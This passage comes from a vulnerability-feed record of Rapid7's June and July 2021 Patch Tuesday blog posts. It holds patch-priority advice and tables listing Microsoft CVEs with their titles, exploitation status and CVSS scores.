\n[CVE-2021-31949](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31949>) | Microsoft Outlook Remote Code Execution Vulnerability | No | No | 6.7 | Yes \n[CVE-2021-31940](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31940>) | Microsoft Office Graphics Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31941](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31941>) | Microsoft Office Graphics Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31939](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31939>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n \n## System Center Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31985](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31985>) | Microsoft Defender Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31978](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31978>) | Microsoft Defender Denial of Service Vulnerability | No | No | 5.5 | Yes \n \n## Windows Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31970](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31970>) | Windows TCP/IP Driver Security Feature Bypass Vulnerability | No | No | 5.5 | No \n[CVE-2021-31952](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31952>) | Windows Kernel-Mode Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31955](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31955>) | Windows Kernel Information Disclosure Vulnerability | Yes | No | 5.5 | Yes \n[CVE-2021-31951](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31951>) | Windows Kernel Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31977](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31977>) | Windows Hyper-V Denial of Service Vulnerability | No | No | 8.6 | Yes \n[CVE-2021-31969](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31969>) | Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31960](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31960>) | Windows Bind Filter Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-31967](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31967>) | VP9 Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31975](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31975>) | Server for NFS Information Disclosure Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-31976](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31976>) | Server for NFS Information Disclosure Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-31974](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31974>) | Server for NFS Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33739](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33739>) | Microsoft DWM Core Library Elevation of Privilege Vulnerability | Yes | Yes | 8.4 | Yes \n[CVE-2021-31972](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31972>) | Event Tracing for Windows Information Disclosure Vulnerability | No | No | 5.5 | Yes \n \n## Summary Graphs\n\n", "cvss3": {}, "published": "2021-06-08T10:00:00", "type": "rapid7blog", "title": "Patch Tuesday - June 2021", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-26414", "CVE-2021-26420", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31938", "CVE-2021-31939", "CVE-2021-31940", "CVE-2021-31941", "CVE-2021-31942", "CVE-2021-31943", "CVE-2021-31944", "CVE-2021-31945", "CVE-2021-31946", "CVE-2021-31948", "CVE-2021-31949", "CVE-2021-31950", "CVE-2021-31951", "CVE-2021-31952", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31957", "CVE-2021-31958", "CVE-2021-31959", "CVE-2021-31960", "CVE-2021-31962", "CVE-2021-31963", "CVE-2021-31964", "CVE-2021-31965", "CVE-2021-31966", "CVE-2021-31967", "CVE-2021-31968", "CVE-2021-31969", "CVE-2021-31970", "CVE-2021-31971", "CVE-2021-31972", "CVE-2021-31973", "CVE-2021-31974", "CVE-2021-31975", "CVE-2021-31976", "CVE-2021-31977", "CVE-2021-31978", "CVE-2021-31980", "CVE-2021-31983", "CVE-2021-31985", "CVE-2021-33739", "CVE-2021-33741", "CVE-2021-33742"], "modified": "2021-06-08T10:00:00", "id": "RAPID7BLOG:E44F025D612AC4EA5DF9F2B56FF8680C", "href": "https://blog.rapid7.com/2021/06/08/patch-tuesday-june-2021/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:56:11", "description": "\n\n[Microsoft has patched another 117 CVEs](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>), returning to volumes seen in early 2021 and most of 2020. It would appear that the recent trend of approximately 50 vulnerability fixes per month was not indicative of a slowing pace. This month there were 13 vulnerabilities rated Critical with nearly the rest being rated Important. Thankfully, none of the updates published today require additional steps to remediate, so administrators should be able to rely on their normal patching process. Once[ CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) has been remediated, priority should be to patch public facing DNS and Exchange servers, followed by Workstations, SharePoint servers, and finally Office applications.\n\nIt seems like the PrintNightmare is nearly over. While the past two weeks have been a frenzy for the security community there has been no new information since the end of last week when Microsoft made a final revision to their guidance on[ CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). If you haven\u2019t patched this yet, this is your daily reminder. For further details [please see our blog](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) on the topic.\n\n## Multiple Critical DNS Vulnerabilities Patched\n\nAdministrators should focus their efforts on the 11 vulnerabilities in Windows DNS server to reduce the most risk. The two most important of these vulnerabilities are [CVE-2021-34494](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34494>) and [CVE-2021-33780](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33780>). Exploitation of either of these vulnerabilities would result in Remote Code Execution with SYSTEM privileges without any user interaction via the network. Given the network exposure of DNS servers these vulnerabilities could prove to be troublesome if an exploit were to be developed. Microsoft lists [CVE-2021-33780](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33780>) as \u201cExploitation More Likely\u201d so it may only be a matter of time before attackers attempt to make use of these flaws.\n\n## New Exchange Updates Available\n\nOnly 4 of the 7 Exchange CVEs being disclosed this month are new. The two most severe vulnerabilities were patched in back in April and were mistakenly not disclosed. This means that if you applied the April 2021 updates you will not need to take any action for [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>), [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>), or [CVE-2021-33766](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33766>). Of the 4 newly patched vulnerabilities the most notable is [CVE-2021-31206](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206>), a remote code execution flaw discovered in the recent Pwn2Own competition. \n\n## Scripting Engine Exploited in the Wild\n\nExploitation of [CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>) has been observed in the wild by researchers. There are no details on the frequency or spread of this exploit. This vulnerability requires the user to visit a link to download a malicious file. As with other vulnerabilities that require user interaction, strong security hygiene is the first line of defense.\n\n## Summary Tables\n\nHere are this month's patched vulnerabilities split by the product family.\n\n## Apps Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-33753](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33753>) | Microsoft Bing Search Spoofing Vulnerability | No | No | 4.7 | Yes \n \n## Developer Tools Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34528](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34528>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34529](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34529>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34477](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34477>) | Visual Studio Code .NET Runtime Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33767](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33767>) | Open Enclave SDK Elevation of Privilege Vulnerability | No | No | 8.2 | Yes \n[CVE-2021-34479](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34479>) | Microsoft Visual Studio Spoofing Vulnerability | No | No | 7.8 | No \n \n## Exchange Server Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34473](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34473>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | Yes | 9.1 | No \n[CVE-2021-31206](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31206>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 7.6 | Yes \n[CVE-2021-31196](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31196>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 7.2 | No \n[CVE-2021-34523](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34523>) | Microsoft Exchange Server Elevation of Privilege Vulnerability | No | Yes | 9 | No \n[CVE-2021-33768](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33768>) | Microsoft Exchange Server Elevation of Privilege Vulnerability | No | No | 8 | Yes \n[CVE-2021-34470](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34470>) | Microsoft Exchange Server Elevation of Privilege Vulnerability | No | No | 8 | Yes \n[CVE-2021-33766](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33766>) | Microsoft Exchange Information Disclosure Vulnerability | No | No | 7.3 | Yes \n \n## Microsoft Dynamics Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34474](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34474>) | Dynamics Business Central Remote Code Execution Vulnerability | No | No | 8 | Yes \n \n## Microsoft Office Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34452](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34452>) | Microsoft Word Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34517](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34517>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 5.3 | No \n[CVE-2021-34520](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34520>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 8.1 | No \n[CVE-2021-34467](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34467>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 7.1 | No \n[CVE-2021-34468](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34468>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 7.1 | Yes \n[CVE-2021-34519](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34519>) | Microsoft SharePoint Server Information Disclosure Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-34469](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34469>) | Microsoft Office Security Feature Bypass Vulnerability | No | No | 8.2 | Yes \n[CVE-2021-34451](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34451>) | Microsoft Office Online Server Spoofing Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-34501](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34501>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34518](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34518>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n \n## SQL Server Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31984](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31984>) | Power BI Remote Code Execution Vulnerability | No | No | 7.6 | Yes \n \n## System Center Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34464](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34464>) | Microsoft Defender Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34522](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34522>) | Microsoft Defender Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n \n## Windows Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-33772](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33772>) | Windows TCP/IP Driver Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-34490](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34490>) | Windows TCP/IP Driver Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33744](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33744>) | Windows Secure Kernel Mode Security Feature Bypass Vulnerability | No | No | 5.3 | No \n[CVE-2021-33763](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33763>) | Windows Remote Access Connection Manager Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34454](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34454>) | Windows Remote Access Connection Manager Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-33761](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33761>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33773](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33773>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34445](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34445>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33743](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33743>) | Windows Projected File System Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34493](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34493>) | Windows Partition Management Driver Elevation of Privilege Vulnerability | No | No | 6.7 | No \n[CVE-2021-33740](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33740>) | Windows Media Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34458](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34458>) | Windows Kernel Remote Code Execution Vulnerability | No | No | 9.9 | Yes \n[CVE-2021-34508](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34508>) | Windows Kernel Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-33771](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33771>) | Windows Kernel Elevation of Privilege Vulnerability | Yes | No | 7.8 | No \n[CVE-2021-31961](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31961>) | Windows InstallService Elevation of Privilege Vulnerability | No | No | 6.1 | Yes \n[CVE-2021-34450](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34450>) | Windows Hyper-V Remote Code Execution Vulnerability | No | No | 8.5 | Yes \n[CVE-2021-33758](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33758>) | Windows Hyper-V Denial of Service Vulnerability | No | No | 7.7 | No \n[CVE-2021-33755](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33755>) | Windows Hyper-V Denial of Service Vulnerability | No | No | 6.3 | No \n[CVE-2021-34466](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34466>) | Windows Hello Security Feature Bypass Vulnerability | No | No | 5.7 | Yes \n[CVE-2021-34438](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34438>) | Windows Font Driver Host Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34455](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34455>) | Windows File History Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33774](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33774>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-33759](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33759>) | Windows Desktop Bridge Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34525](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34525>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-34461](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34461>) | Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34488](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34488>) | Windows Console Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33784](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33784>) | Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34462](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34462>) | Windows AppX Deployment Extensions Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-34459](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34459>) | Windows AppContainer Elevation Of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33785](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33785>) | Windows AF_UNIX Socket Provider Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33779](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33779>) | Windows ADFS Security Feature Bypass Vulnerability | No | Yes | 8.1 | Yes \n[CVE-2021-34491](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34491>) | Win32k Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34449](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34449>) | Win32k Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-34509](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34509>) | Storage Spaces Controller Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34460](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34460>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34510](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34510>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34512](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34512>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34513](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34513>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33751](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33751>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-34521](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34521>) | Raw Image Extension Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34439](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34439>) | Microsoft Windows Media Foundation Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34503](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34503>) | Microsoft Windows Media Foundation Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-33760](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33760>) | Media Foundation Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-31947](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31947>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33775](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33775>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33776](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33776>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33777](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33777>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33778](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33778>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34489](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34489>) | DirectWrite Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33781](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33781>) | Active Directory Security Feature Bypass Vulnerability | No | Yes | 8.1 | No \n \n## Windows ESU Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31183](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31183>) | Windows TCP/IP Driver Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33757](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33757>) | Windows Security Account Manager Remote Protocol Security Feature Bypass Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-33783](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33783>) | Windows SMB Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-34507](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34507>) | Windows Remote Assistance Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-34457](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34457>) | Windows Remote Access Connection Manager Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34456](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34456>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34527](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527>) | Windows Print Spooler Remote Code Execution Vulnerability | Yes | Yes | 8.8 | Yes \n[CVE-2021-34497](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34497>) | Windows MSHTML Platform Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2021-34447](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34447>) | Windows MSHTML Platform Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2021-33786](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33786>) | Windows LSA Security Feature Bypass Vulnerability | No | No | 8.1 | Yes \n[CVE-2021-33788](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33788>) | Windows LSA Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33764](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33764>) | Windows Key Distribution Center Information Disclosure Vulnerability | No | No | 5.9 | Yes \n[CVE-2021-34500](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34500>) | Windows Kernel Memory Information Disclosure Vulnerability | No | No | 6.3 | Yes \n[CVE-2021-31979](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31979>) | Windows Kernel Elevation of Privilege Vulnerability | Yes | No | 7.8 | No \n[CVE-2021-34514](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34514>) | Windows Kernel Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33765](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33765>) | Windows Installer Spoofing Vulnerability | No | No | 6.2 | No \n[CVE-2021-34511](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34511>) | Windows Installer Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34446](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34446>) | Windows HTML Platforms Security Feature Bypass Vulnerability | No | No | 8 | No \n[CVE-2021-34496](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34496>) | Windows GDI Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34498](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34498>) | Windows GDI Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33749](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33749>) | Windows DNS Snap-in Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33750](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33750>) | Windows DNS Snap-in Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33752](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33752>) | Windows DNS Snap-in Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33756](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33756>) | Windows DNS Snap-in Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-34494](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34494>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33780](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33780>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33746](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33746>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8 | No \n[CVE-2021-33754](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33754>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8 | No \n[CVE-2021-34442](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34442>) | Windows DNS Server Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-34444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34444>) | Windows DNS Server Denial of Service Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-34499](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34499>) | Windows DNS Server Denial of Service Vulnerability | No | No | 6.5 | No \n[CVE-2021-33745](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33745>) | Windows DNS Server Denial of Service Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-34492](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34492>) | Windows Certificate Spoofing Vulnerability | No | Yes | 8.1 | No \n[CVE-2021-33782](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33782>) | Windows Authenticode Spoofing Vulnerability | No | No | 5.5 | No 